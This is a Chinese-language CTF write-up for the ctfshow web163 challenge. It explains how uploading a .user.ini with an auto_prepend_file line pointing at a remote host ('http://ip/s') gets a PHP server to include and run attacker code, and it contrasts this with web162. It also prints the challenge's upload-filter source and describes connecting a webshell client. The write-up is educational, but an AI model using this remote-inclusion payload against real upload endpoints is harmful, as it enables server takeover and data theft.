ctfshow-web163

(本文为RFI在162的基础上进一步运用,基本步骤 请转至web162

一.初步尝试

按照我们之前162所讲述的方法先进行尝试,但是发现结果是这样的:

1.warning

  • open stream:PHP 试图"打开一个文件/流"

  • failed:失败了

  • No such file or directory:找不到这个文件

📌 PHP 把我们传的内容 当成本地文件路径 了。

2.fatal error

1)required 'png'

这句话不是描述行为,而是"复述 PHP 内部做的代码",等价于

php 复制代码
require("png");

不是我们写了这行**,而是 PHP 在内部真的执行了它。**

2) 为什么是 require,不是 include

  • require:找不到文件 → 直接 fatal error

  • include:找不到 → warning 还能继续

我们看到最前面的是fatal error,所以后端用的是require语义

3)什么是 include_path

这是 PHP 的一个全局配置项

php 复制代码
include_path=".:/usr/local/lib/php"

当我们 require("png"),而不是绝对路径时,PHP 会按顺序去这些目录找。

而这里的.是当前所在目录,后面的一串则是php自带的库目录

4)总的来说

php 复制代码
PHP 启动
 ↓
加载 php.ini / .user.ini
 ↓
auto_prepend_file(执行我们的远程代码)
 ↓
require("png") ← 报错也无所谓

PHP 在启动阶段尝试执行: require("png");它按 include_path 去找这个文件,在当前目录和 PHP 库目录都没找到,所以直接终止执行。 这就告诉我们之前传的png没有被拼接,并且 无法控制require的目标内容,所以之前162的方法在这里失效了。那么,我们就需要直接在一个文件中写入我们的远程包含,而.user.ini则具备这个能力

二:正确方法

在.user.ini中,我们可以以这样的形式直接包含远程文件:

php 复制代码
auto_prepend_file=http://ip/s

bp抓包修改后发包,再访问/upload/,可以看到界面如下:

可以看到是没有报错的,可以连蚁剑或者直接hackbar里输入命令就行,这里我用hackbar:

我自己后面也又连了蚁剑去看源码如下:

php 复制代码
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

可以看到是有clearup的,所以我们只能传一个文件。

三:与162对比

做完这道题我就在想,既然可以直接传一个文件,那我在162是不是也可以就传一个.user.ini呢,然后我去试了一下,发现也是可以直接传一个:

但是这样我又在想的是163中user.ini的使用是因为控制不了 include 的内容,只能劫持 PHP 执行流程 ,那在162中可不可以直接RFI而不用.user.ini呢,然后我又去试了一下:

啥都没有,然后我的远程服务器也没有反应

后面我发现我陷入了一个误区:其实这里面直接传include本身是不行的,因为源码里面就没有include:

php 复制代码
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }
                
            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}
echo json_encode($ret);

而之前162我们先传的user.ini,是先include"png", 然后png里面的内容再去包含我们的远程服务器,从这里就可以看出这道题里的题目环境是allow_url_include=On, 要不然png是连不到我们的远程服务器的。

而user.ini的传入是使配置层直达include,即include("http://ip/s"); 这里就是两个分支:

分支 A:allow_url_include = On

  • PHP 允许 URL wrapper

  • 识别 http://

  • 发起 HTTP 请求到你的服务器

  • 下载 s 文件内容

  • 把内容当作 PHP 代码解析并执行

远程代码执行发生在这里


分支 B:allow_url_include = Off

  • PHP 检测到这是 URL

  • 直接拒绝

  • 抛出 warning(可能被隐藏)

  • http://ip/s 从未被请求

  • 远程代码 绝不可能执行

流程在这里终止

而如果题目中的环境是allow_url_include=off,那么我们就不能再进行RFI,只能LFI来做,就比如拼接过滤 或者session文件包含等等

四:总结

通过对 web162 与 web163 的对比分析,可以发现这两道题表面形式相似,本质却完全不同

在 web162 中,题目并不存在任何显式的 includerequire 点,攻击者无法通过源码层直接触发文件执行。真正的突破口在于 .user.ini 对 PHP 启动流程的劫持

通过 auto_prepend_file,我们可以让 PHP 在执行脚本之前,主动去包含一个我们可控的文件。由于题目环境中 allow_url_include = On,这一包含可以是远程 URL,从而实现 RFI。

而在 web163 中,题目进一步收紧了条件:

上传目录存在清理机制(clearUpload()),使得攻击者只能成功保留一个文件 。这意味着,像 web162 那样「.user.ini + 本地图片再二次包含远程」的思路已经失效。

此时,唯一可行的方式,就是直接在 .user.ini 中写入远程 auto_prepend_file,让 PHP 在启动阶段完成一次性远程包含。

在分析过程中,一个容易产生的误区是:
误以为"直接传 include 代码即可触发 RFI"

但实际上,无论是 web162 还是 web163,源码层根本不存在 include 执行点 ,上传的文件也不会被主动解析执行。所有成功的利用,都是发生在 PHP 配置层,而非业务代码层

进一步抽象可以发现,.user.ini 的作用并不是"绕过过滤",也不是"替代 include",而是:

将攻击路径从"源码执行阶段",提升到"PHP 启动阶段"

是否能够最终完成 RFI,取决于运行环境中 allow_url_include 的取值:

  • allow_url_include = On

    .user.ini 可直接引入远程代码,RFI 成立

  • allow_url_include = Off

    → 远程包含在配置层直接被阻断,攻击流程终止,只能转向 LFI、日志包含、session 包含等本地利用方式

因此,这两道题真正考察的,并不是某个固定 payload,而是对以下三点的理解:

  1. 源码是否提供文件执行入口

  2. PHP 配置文件(.user.ini)的加载时机与权限

  3. 环境参数(如 allow_url_include)对漏洞模型的决定性影响

当这三点被理清之后,就不再是"照着 WP 做题",而是可以在看到源码和环境特征的第一时间,判断出:

这道题能不能 RFI?如果不能,攻击面应该转向哪里?

我想这才是 web162 / web163 真正想教会我们的东西。

相关推荐
曲幽2 小时前
Flask项目一键打包实战:用PyInstaller生成独立可执行文件
python·flask·web·pyinstaller·exe·add-data
汤愈韬3 小时前
FW旁挂实验
网络协议·网络安全·security·huawei
talenteddriver3 小时前
web: jwt令牌构成、创建的基本流程及原理
java·开发语言·python·网络协议·web
盛满暮色 风止何安3 小时前
负载均衡的部署模式
运维·服务器·网络·网络安全·负载均衡
Wang15301 天前
网络安全与技术应用投期刊攻略
网络安全
若尘啊若辰1 天前
安全通用要求之十安全运维管理
网络·数据库·网络安全·等保·等级保护·安全通用要求
grrrr_11 天前
【漏洞复现】CVE-2025-54100
安全·网络安全
Z3r4y1 天前
【Web】四川省赛 2025 wp
web·ctf·wp·四川省赛·省赛2025
黑客-小千1 天前
【Docker】初识docker 基本概念及安装使用(巨详细版),网络安全零基础入门到精通实战教程!
网络协议·tcp/ip·web安全·网络安全·docker·容器·eureka